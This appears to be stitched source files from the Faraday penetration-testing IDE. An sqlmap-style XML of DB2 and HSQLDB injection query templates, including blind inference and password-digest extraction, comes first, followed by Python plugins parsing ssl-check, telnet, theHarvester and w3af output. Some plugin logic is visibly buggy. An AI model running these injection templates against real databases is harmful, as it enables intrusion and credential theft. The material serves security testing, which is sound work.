599 <banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS foobar WHERE LIMIT=1"/>
600 <current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
601 <!-- NOTE: On DB2 we use the current user as default schema (database) -->
602 <current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
603 <hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
604 <table_comment/>
605 <column_comment/>
606 <is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/>
607 <users>
608 <inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
609 <blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS foobar WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
610 </users>
611 <!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->
612 <passwords/>
613 <privileges>
614 <inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||CHR(44)||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/>
615 <blind query="SELECT tabschema||'.'||tabname||CHR(44)||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS foobar WHERE LIMIT=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>
616 </privileges>
617 <roles/>
618 <!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes -->
619 <dbs>
620 <inband query="SELECT schemaname FROM syscat.schemata"/>
621 <blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS foobar WHERE LIMIT=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
622 </dbs>
623 <tables>
624 <inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
625 <blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,tabname FROM sysstat.tables WHERE tabschema='%s') AS foobar WHERE LIMIT=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
626 </tables>
627 <columns>
628 <inband query="SELECT name,RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
629 <blind query="SELECT name FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" query2="SELECT RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s' AND name='%s' AND tbcreator='%s'" count="SELECT COUNT(name) FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
630 </columns>
631 <dump_table>
632 <inband query="SELECT %s FROM %s"/>
633 <blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,%s AS ENTRY_VALUE FROM %s) AS foobar WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
634 </dump_table>
635 <search_db>
636 <inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
637 <blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS foobar" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
638 </search_db>
639 <search_table>
640 <inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
641 <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS foobar" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
642 </search_table>
643 <search_column>
644 <inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
645 <blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS foobar" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
646 </search_column>
647 </dbms>
648
649 <dbms value="HSQLDB">
650 <cast query="CAST(%s AS LONGVARCHAR)"/>
651 <length query="CHAR_LENGTH(%s)"/>
652 <isnull query="IFNULL(%s,' ')"/>
653 <delimiter query=","/>
654 <limit query="LIMIT %d %d"/>
655 <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
656 <limitgroupstart query="1"/>
657 <limitgroupstop query="2"/>
658 <limitstring query=" LIMIT "/>
659 <order query="ORDER BY %s ASC"/>
660 <count query="COUNT(%s)"/>
661 <comment query="--" query2="/*" query3="//"/>
662 <substring query="SUBSTR((%s),%d,%d)"/>
663 <concatenate query="CONCAT(%s,%s)"/>
664 <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
665 <hex query="RAWTOHEX(%s)"/>
666 <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
667 <banner query="DATABASE_VERSION()"/>
668 <current_user query="CURRENT_USER"/>
669 <current_db query="DATABASE()"/>
670 <hostname/>
671 <table_comment/>
672 <column_comment/>
673 <is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE USER=CURRENT_USER"/>
674 <check_udf/>
675 <users>
676 <inband query="SELECT user FROM INFORMATION_SCHEMA.SYSTEM_USERS"/>
677 <!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
678 <blind query="SELECT LIMIT %d 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS" count="SELECT COUNT(DISTINCT(user)) FROM INFORMATION_SCHEMA.SYSTEM_USERS"/>
679 </users>
680 <passwords>
681 <!-- Passwords only shown in later versions &gt;=2.0 -->
682 <inband query="SELECT user_name,password_digest FROM INFORMATION_SCHEMA.SYSTEM_USERS" condition="user_name"/>
683 <blind query="SELECT LIMIT %d 1 DISTINCT(password_digest) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s'" count="SELECT COUNT(DISTINCT(password_digest)) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s'"/>
684 </passwords>
685 <privileges/>
686 <roles/>
687 <dbs>
688 <inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS" />
689 <blind query="SELECT LIMIT %d 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS" count="SELECT COUNT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS"/>
690 </dbs>
691 <tables>
692 <inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES" condition="table_schem"/>
693 <blind query="SELECT LIMIT %d 1 table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s' " count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s'"/>
694 </tables>
695 <columns>
696 <inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s'" condition="column_name"/>
697 <blind query="SELECT column_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s'" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
698 </columns>
699 <dump_table>
700 <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
701 <blind query="SELECT LIMIT %d 1 %s FROM %s.%s ORDER BY %s " count="SELECT COUNT(*) FROM %s.%s"/>
702 </dump_table>
703 <search_db>
704 <inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" condition="table_schem"/>
705 <blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" condition="table_schem"/>
706 </search_db>
707 <search_table>
708 <inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" condition="table_name" condition2="table_schem"/>
709 <blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" condition="table_name" condition2="table_schem"/>
710 </search_table>
711 <search_column>
712 <inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" condition="column_name" condition2="table_schem" condition3="table_name"/>
713 <blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" condition="column_name" condition2="table_schem" condition3="table_name"/>
714 </search_column>
715 </dbms>
716 </root>
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7 '''
8 from __future__ import with_statement
9 from plugins import core
10 import re
11 import os
12 import sys
13
14 try:
15 import xml.etree.cElementTree as ET
16 import xml.etree.ElementTree as ET_ORIG
17 ETREE_VERSION = ET_ORIG.VERSION
18 except ImportError:
19 import xml.etree.ElementTree as ET
20 ETREE_VERSION = ET.VERSION
21
22 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
23
24 current_path = os.path.abspath(os.getcwd())
25
26 __author__ = "Morgan Lemarechal"
27 __copyright__ = "Copyright 2014, Faraday Project"
28 __credits__ = ["Morgan Lemarechal"]
29 __license__ = ""
30 __version__ = "1.0.0"
31 __maintainer__ = "Morgan Lemarechal"
32 __email__ = "[email protected]"
33 __status__ = "Development"
34
35
36
37
38
39 class SslcheckParser(object):
40 """
41 The objective of this class is to parse an xml file generated by the ssl-check tool.
42 TODO: Handle errors.
43 TODO: Test ssl-check output version. Handle what happens if the parser doesn't support it.
44 TODO: Test cases.
45 @param sslcheck_filepath A proper simple report generated by ssl-check
46 """
47 def __init__(self, output):
48 self.hostinfo = {}
49 self.result = {}
50 tree = ET.parse(output)
51 root = tree.getroot()
52 for scan in root.findall(".//scan"):
53 infos = {}
54 for info in scan.attrib:
55 infos[info] = scan.attrib[info]
56 self.hostinfo[scan.attrib['host']] = infos
57
58 item = {}
59 for carac in scan:
60 item[carac.tag] = carac.text
61 self.result[scan.attrib['host']] = item
62
63 class SslcheckPlugin(core.PluginBase):
64 """
65 Example plugin to parse ssl-check output.
66 """
67 def __init__(self):
68 core.PluginBase.__init__(self)
69 self.id = "Sslcheck"
70 self.name = "Sslcheck XML Output Plugin"
71 self.plugin_version = "0.0.1"
72 self.version = "0.30"
73 self._completition = {
74 "":"ssl-check [-h] [-r {key,ren,sign,serv,cyph,forw,heart,crime,all} [{key,ren,sign,serv,cyph,forw,heart,crime,all} ...]] -host HOST [-port PORT] [--xml] [--version]",
75 "-h":"show this help message and exit",
76 "-r":"store the scan(s) requested made by the users",
77 "-host":"store the target's host address",
78 "-port":"store the target's port",
79 "--xml":"Enable the XML output",
80 "--version":"Show program's version number and exit",
81 }
82
83 self.options = None
84 self._current_output = None
85 self.current_path = None
86 self._command_regex = re.compile(r'^(sudo sslcheck|sslcheck|\.\/sslcheck).*?')
87
88 global current_path
89 self._output_file_path = os.path.join(self.data_path, "sslcheck_output-%s.xml" % self._rid)
90
91 def canParseCommandString(self, current_input):
92 if self._command_regex.match(current_input.strip()):
93 return True
94 else:
95 return False
96
97 def parseOutputString(self, output, debug=False):
98 """
99 This method will discard the output the shell sends, it will read it from
100 the xml where it expects it to be present.
101 NOTE: if 'debug' is true then it is being run from a test case and the
102 output being sent is valid.
103 """
104 if debug:
105 parser = SslcheckParser(self._output_file_path)
106 else:
107
108 if not os.path.exists(self._output_file_path):
109 return False
110 parser = SslcheckParser(self._output_file_path)
111 print parser.result
112 print parser.hostinfo
113 for host in parser.result:
114 h_id = self.createAndAddHost(host)
115 if(re.match("(^[2][0-5][0-5]|^[1]{0,1}[0-9]{1,2})\.([0-2][0-5][0-5]|[1]{0,1}[0-9]{1,2})\.([0-2][0-5][0-5]|[1]{0,1}[0-9]{1,2})\.([0-2][0-5][0-5]|[1]{0,1}[0-9]{1,2})$"
116 ,host)):
117 i_id = self.createAndAddInterface(h_id,
118 host,
119 ipv4_address = host,
120 hostname_resolution = parser.hostinfo[host]['hostname'])
121 else:
122 i_id = self.createAndAddInterface(h_id,
123 host,
124 ipv6_address = host)
125
126 s_id = self.createAndAddServiceToInterface(h_id, i_id, "https", protocol="tcp", ports=int(parser.hostinfo[host]['port']))
127 for carac in parser.result[host]:
128 if carac == "key" and int(parser.result[host][carac]) < 2048:
129 v_id = self.createAndAddVulnToService(h_id, s_id, "Public server key size", desc="Key size = {} bits (2048 bits recommended)".format(parser.result[host][carac]), severity=2)
130 continue
131 if carac == "renegotiation" and parser.result[host][carac] == "no":
132 v_id = self.createAndAddVulnToService(h_id, s_id, "Secure renegotiation", desc="Secure renegotiation disabled (recommended: enabled)", severity=1)
133 continue
134 if carac == "forward_secrecy" and parser.result[host][carac] == "no":
135 v_id = self.createAndAddVulnToService(h_id, s_id, "Forward Secrecy", desc="Forward secrecy disabled (recommended: enabled)", severity=1)
136 continue
137 if carac == "heartbeat" and parser.result[host][carac] == "yes":
138 v_id = self.createAndAddVulnToService(h_id, s_id, "Heartbleed", desc="Heartbeat enabled (recommended: disabled)", severity=4)
139 continue
140 if carac == "forward_secrecy" and parser.result[host][carac] == "no":
141 v_id = self.createAndAddVulnToService(h_id, s_id, "CRIME", desc="Potentially vulnerable to CRIME attack", severity=0)
142 continue
143 if parser.result[host][carac] == "insecure":
144 v_id = self.createAndAddVulnToService(h_id, s_id, "Cipher suite {}".format(carac), desc="{} enabled (recommended: disabled)".format(parser.result[host][carac]), severity=1)
145 continue
146 if parser.result[host][carac] == "signature insecure":
147 v_id = self.createAndAddVulnToService(h_id, s_id, "Certificate signature cipher suite {}".format(parser.result[host][carac]), desc="{} used (recommended: use a safer one as sha256WithRSAEncryption)".format(parser.result[host][carac]), severity=1)
148 continue
149 if (carac == "SSLv3" and parser.result[host][carac] == "yes"):
150 v_id = self.createAndAddVulnToService(h_id, s_id, "SSL3", desc="SSL3 enabled (recommended: disabled)\nSSL3 is broken and should not be used.", severity=2)
151 continue
152 if (carac == "TLSv1" and parser.result[host][carac] == "yes"):
153 v_id = self.createAndAddVulnToService(h_id, s_id, "TLSv1.0", desc="TLSv1.0 enabled (recommended: disabled, and to use TLSv1.1 or TLSv1.2)", severity=1)
154 continue
155 if (carac == "TLSv1.1" and parser.result[host][carac] == "no") or (carac == "TLSv1.2" and parser.result[host][carac] == "no"):
156 v_id = self.createAndAddVulnToService(h_id, s_id, parser.result[host][carac], desc="{} disabled (recommended: enabled)".format(parser.result[host][carac]), severity=1)
157 continue
158
159 del parser
160
161 if not debug:
162 os.remove(self._output_file_path)
163 return True
164
165 xml_arg_re = re.compile(r"^.*(--xml\s*[^\s]+).*$")
166
167 def processCommandString(self, username, current_path, command_string):
168 """
169 Adds the parameter to get output to the command string that the
170 user has set.
171 """
172
173 arg_match = self.xml_arg_re.match(command_string)
174
175 if arg_match is None:
176 return "%s --xml %s" % (command_string, self._output_file_path)
177 else:
178 return re.sub(arg_match.group(1),
179 r"-xml %s" % self._output_file_path,
180 command_string)
181
182 def createPlugin():
183 return SslcheckPlugin()
184
185 if __name__ == '__main__':
186 parser = SslcheckParser(sys.argv[1])
187 for item in parser.items:
188 if item.status == 'up':
189 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 current_path = os.path.abspath(os.getcwd())
16
17 __author__ = "Facundo de Guzmán, Esteban Guillardoy"
18 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
19 __credits__ = ["Facundo de Guzmán", "Esteban Guillardoy"]
20 __license__ = ""
21 __version__ = "1.0.0"
22 __maintainer__ = "Facundo de Guzmán"
23 __email__ = "[email protected]"
24 __status__ = "Development"
25
26
27
28
29
30 class TelnetRouterPlugin(core.PluginBase):
31 """
32 This plugin handles telnet command.
33 Basically detects if user was able to connect to a device
34 """
35 def __init__(self):
36 core.PluginBase.__init__(self)
37 self.id = "Telnet"
38 self.name = "Telnet"
39 self.plugin_version = "0.0.1"
40 self.version ="0.17"
41 self.framework_version = "1.0.0"
42 self.options = None
43 self._current_output = None
44 self._command_regex = re.compile(r'^telnet.*?')
45 self._host_ip = None
46 self._host = []
47 self._port = "23"
48 self._completition = {
49 "":"telnet [-468ELadr] [-S tos] [-b address] [-e escapechar] [-l user] [-n tracefile] [host [port]]",
50 "-4":"Force IPv4 address resolution.",
51 "-6":"Force IPv6 address resolution.",
52 "-8":"Request 8-bit operation. This causes an attempt to negotiate the TELNET BINARY option for both input and output. By default telnet is not 8-bit clean.",
53 "-E":"Disables the escape character functionality; that is, sets the escape character to ``no character''.",
54 "-L":"Specifies an 8-bit data path on output. This causes the TELNET BINARY option to be negotiated on just output.",
55 "-a":"Attempt automatic login. Currently, this sends the user name via the USER variable of the ENVIRON option if supported by the remote system. The username is retrieved via getlogin(3).",
56 "-b":"-b &lt;address&gt; Use bind(2) on the local socket to bind it to a specific local address.",
57 "-d":"Sets the initial value of the debug toggle to TRUE.",
58 "-r":"Emulate rlogin(1). In this mode, the default escape character is a tilde. Also, the interpretation of the escape character is changed: an escape character followed by a dot causes telnet to disconnect from the remote host. A ^Z instead of a dot suspends telnet, and a ^] (the default telnet escape character) generates a normal telnet prompt. These codes are accepted only at the beginning of a line.",
59 "-S":"-S &lt;tos&gt; Sets the IP type-of-service (TOS) option for the telnet connection to the value tos.",
60 "-e":"-e &lt;escapechar&gt; Sets the escape character to escapechar. If no character is supplied, no escape character will be used. Entering the escape character while connected causes telnet to drop to command mode.",
61 "-l":"-l &lt;user&gt; Specify user as the user to log in as on the remote system. This is accomplished by sending the specified name as the USER environment variable, so it requires that the remote system support the TELNET ENVIRON option. This option implies the -a option, and may also be used with the open command.",
62 "-n":"-n &lt;tracefile&gt; Opens tracefile for recording trace information. See the set tracefile command below.",
63 }
64
65 global current_path
66
67 def resolve(self, host):
68 try:
69 return socket.gethostbyname(host)
70 except:
71 pass
72 return host
73
74 def parseOutputString(self, output, debug = False):
75
76 host_info = re.search(r"Connected to (.+)\.", output)
77
78 hostname=host_info.group(1)
79 ip_address = self.resolve(hostname)
80
81 if host_info is not None:
82 h_id = self.createAndAddHost(ip_address)
83 i_id = self.createAndAddInterface(h_id, ip_address, ipv4_address=ip_address, hostname_resolution=hostname)
84 s_id = self.createAndAddServiceToInterface(h_id, i_id, self._port,
85 "tcp",
86 ports = [self._port],
87 status = "open")
88 return True
89
90
91 def processCommandString(self, username, current_path, command_string):
92
93 count_args = command_string.split()
94
95 c=count_args.__len__()
96 self._port="23"
97 if re.search("[\d]+",count_args[c-1]):
98 self._port = count_args[c-1]
99
100
101 def createPlugin():
102 return TelnetRouterPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 import re
11 import os
12 import sys
13
14
15 current_path = os.path.abspath(os.getcwd())
16
17 __author__ = "Francisco Amato"
18 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
19 __credits__ = ["Francisco Amato"]
20 __license__ = ""
21 __version__ = "1.0.0"
22 __maintainer__ = "Francisco Amato"
23 __email__ = "[email protected]"
24 __status__ = "Development"
25
26
27
28
29
30 class TheharvesterParser(object):
31 """
32 The objective of this class is to parse an xml file generated by the theharvester tool.
33
34 TODO: Handle errors.
35 TODO: Test theharvester output version. Handle what happens if the parser doesn't support it.
36 TODO: Test cases.
37
38 @param theharvester_filepath A proper simple report generated by theharvester
39 """
40 def __init__(self, output):
41
42 self.items = []
43 _hosts, _vhosts = [], []
44
45
46 mregex = re.search("\[\+\] Hosts found in search engines:[-=\s]+([\w\W]*)\[\+\]", output)
47 if mregex is None:
48 mregex = re.search("\[\+\] Hosts found in search engines:[-=\s]+([\w\W]*)\n", output)
49 mregex2 = re.search("\[\+\] Virtual hosts:[-=\s]+([\w\W]*)\n", output)
50
51 if mregex is None and mregex2 is None:
52 return
53
54
55
56
57 if mregex:
58 _hosts = mregex.group(1).strip().split("\n")
59 if mregex2:
60 _vhosts = mregex2.group(1).strip().split("\n")
61
62 for line in _hosts:
63
64 info = line.split(":")
65
66 if len(info) > 1:
67 item = {'host' : info[1].strip(), 'ip' : info[0].strip()}
68
69 self.items.append(item)
70
71 for line in _vhosts:
72
73 info = line.split()
74 if len(info) > 1:
75 item = {'host' : info[1].strip(), 'ip' : info[0].strip()}
76
77 self.items.append(item)
78
79
80 class TheharvesterPlugin(core.PluginBase):
81 """
82 Example plugin to parse theharvester output.
83 """
84 def __init__(self):
85 core.PluginBase.__init__(self)
86 self.id = "Theharvester"
87 self.name = "Theharvester XML Output Plugin"
88 self.plugin_version = "0.0.1"
89 self.version = "2.2a"
90 self.options = None
91 self._current_output = None
92 self._current_path = None
93 self._command_regex = re.compile(r'^(theharvester|sudo theharvester|sudo theHarvester\.py|theHarvester\.py|python theHarvester\.py|\.\/theHarvester\.py).*?')
94 self._completition = {
95 "":"Examples:./theharvester.py -d microsoft.com -l 500 -b google",
96 "-d":"Domain to search or company name",
97 "-b":"Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)",
98 "-s":"Start in result number X (default 0)",
99 "-v":"Verify host name via dns resolution and search for vhosts(basic)",
100 "-l":"Limit the number of results to work with(bing goes from 50 to 50 results,",
101 "-f":"Save the results into an XML file",
102 "-n": "Perform a DNS reverse query on all ranges discovered",
103 "-c": "Perform a DNS brute force for the domain name",
104 "-t": "Perform a DNS TLD expansion discovery",
105 "-e": "Use this DNS server",
106 "-h": "use SHODAN database to query discovered hosts. google 100 to 100, and pgp doesn't use this option)",
107 }
108
109 global current_path
110
111
112
113
114 def parseOutputString(self, output, debug = False):
115 """
116 This method will discard the output the shell sends, it will read it from
117 the xml where it expects it to be present.
118
119 NOTE: if 'debug' is true then it is being run from a test case and the
120 output being sent is valid.
121 """
122
123 print "este es el output (%s)" % output
124
125 if debug:
126 parser = TheharvesterParser(output)
127 else:
128
129 parser = TheharvesterParser(output)
130
131
132 print len(parser.items)
133 for item in parser.items:
134 host = []
135 if item['host'] != item['ip']:
136 host = [item['host']]
137 h_id = self.createAndAddHost(item['ip'])
138 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address= item['ip'], hostname_resolution=host)
139
140
141 del parser
142
143
144 def processCommandString(self, username, current_path, command_string):
145 """
146 """
147 return None
148
149
150 def createPlugin():
151 return TheharvesterPlugin()
152
153 if __name__ == '__main__':
154 parser = TheharvesterParser(sys.argv[1])
155 for item in parser.items:
156 if item.status == 'up':
157 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class W3afXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the w3af tool.
45
46 TODO: Handle errors.
47 TODO: Test w3af output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param w3af_xml_filepath A proper xml generated by w3af
51 """
52 def __init__(self, xml_output):
53 self.target = None
54 self.port = "80"
55 self.host = None
56
57 tree = self.parse_xml(xml_output)
58
59 if tree:
60 self.items = [data for data in self.get_items(tree)]
61 else:
62 self.items = []
63
64
65 def parse_xml(self, xml_output):
66 """
67 Open and parse an xml file.
68
69 TODO: Write custom parser to just read the nodes that we need instead of
70 reading the whole file.
71
72 @return xml_tree An xml tree instance. None if error.
73 """
74 try:
75 tree = ET.fromstring(xml_output)
76 except SyntaxError, err:
77 print "SyntaxError: %s. %s" % (err, xml_output)
78 return None
79
80 return tree
81
82 def get_items(self, tree):
83 """
84 @return items A list of Host instances
85 """
86 bugtype=""
87
88
89 scaninfo = tree.findall('scaninfo')[0]
90 self.target = scaninfo.get('target')
91 host = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", self.target)
92
93 self.protocol = host.group(1)
94 self.host = host.group(4)
95 if self.protocol == 'https':
96 self.port=443
97 if host.group(11) is not None:
98 self.port = host.group(11)
99
100 for node in tree.findall('vulnerability'):
101 yield Item(node)
102 for node in tree.findall('information'):
103 yield Item(node)
104
105
106
107
108 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
109 """
110 Finds a subnode in the item node and the retrieves a value from it
111
112 @return An attribute value
113 """
114 global ETREE_VERSION
115 node = None
116
117 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
118
119 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
120 if match_obj is not None:
121 node_to_find = match_obj.group(1)
122 xpath_attrib = match_obj.group(2)
123 xpath_value = match_obj.group(3)
124 for node_found in xml_node.findall(node_to_find):
125 if node_found.attrib[xpath_attrib] == xpath_value:
126 node = node_found
127 break
128 else:
129 node = xml_node.find(subnode_xpath_expr)
130
131 else:
132 node = xml_node.find(subnode_xpath_expr)
133
134 if node is not None:
135 return node.get(attrib_name)
136
137 return None
138
139
140
141
142
143 class Item(object):
144 """
145 An abstract representation of a Item
146
147
148 @param item_node A item_node taken from an w3af xml tree
149 """
150 def __init__(self, item_node):
151 self.node = item_node
152
153 self.id=self.node.get('id')
154 self.name = self.node.get('name')
155 self.url = self.node.get('url')
156 self.plugin = self.node.get('plugin')
